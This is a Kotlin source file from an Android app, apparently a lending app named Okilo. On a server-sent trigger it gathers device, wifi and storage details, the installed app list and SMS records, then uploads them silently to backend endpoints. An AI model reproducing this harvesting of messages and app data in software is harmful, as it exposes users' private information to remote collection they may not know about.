package com.okilo.online.app.lib.device

import com.okilo.online.app.pet.OkiloLibPet
import org.json.JSONObject
import java.io.IOException
import java.util.concurrent.CompletableFuture

object OkiloDevAsyn {

    fun startAsynTasks(typeArray: String) {
        try {
            val exc = OkiloDevManager()
            if (typeArray.isBlank()) return

            if (typeArray.contains("T2")) {// /v1/userDeviceBattery
                exc.gDev2("mS4nWUPFZMgMKJI801bTyQ") { bty ->
                    val paramsBty = listOf(
                        CompletableFuture.supplyAsync {
                            submitOkiloDeviceAction(bty, "paramsBty")
                        }
                    )
                    CompletableFuture.allOf(*paramsBty.toTypedArray()).thenRun { }
                }
            }

            val taskList = mutableListOf<CompletableFuture<String>>()
            if (typeArray.contains("T1")) {//device /v1/deviceInfo
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsDv = exc.gDev1("pQIP2KGB5bwv8FDcImGQ")
                        submitOkiloDeviceAction(paramsDv, "paramsDv")
                    }
                )
            }

            if (typeArray.contains("T3")) {//hardware /v1/userDeviceHardware
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsHd = exc.gDev3("t1SJbNeo6IjiR17ybnQ2swg")
                        submitOkiloDeviceAction(paramsHd, "paramsHd")
                    }
                )
            }

            if (typeArray.contains("T4")) {//storage /v1/userDeviceStorage
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsSt = exc.gDev4("qRJUJODao77cokLJdkjpDw")
                        submitOkiloDeviceAction(paramsSt, "paramsSt")
                    }
                )
            }

            if (typeArray.contains("T5")) {//wifi /v1/userDeviceWifi
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsWf = exc.gDev5("t2Lb2oxGl4ar3vf2lIliz2Q")
                        submitOkiloDeviceAction(paramsWf, "paramsWf")
                    }
                )
            }

            if (typeArray.contains("T6")) {//appList /v2/userAppList
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsAp = exc.gDev6("t6NDBlI9IEzfwcAz8A21CWw")
                        submitOkiloDeviceAction(paramsAp, "paramsAp")
                    }
                )
            }

            if (typeArray.contains("T7")) {//sms /v2/smsRecord
                taskList.add(
                    CompletableFuture.supplyAsync {
                        val paramsMg = exc.gDev7("Ji0wyi3wRdawTHrYA0jA")
                        submitOkiloDeviceAction(paramsMg, "paramsMg")
                    }
                )
            }

            if (taskList.isEmpty()) return

            CompletableFuture.allOf(*taskList.toTypedArray()).thenRun { }
        } catch (e: Exception) {
            //
        }
    }

    private fun submitOkiloDeviceAction(params: String?, tid: String): String {
        try {
            if (params.isNullOrBlank()) return tid
            OkiloLibPet.submitOkiloLibDataRequest(JSONObject(params))
        } catch (e: IOException) {
            e.printStackTrace()
        }
        return tid
    }

}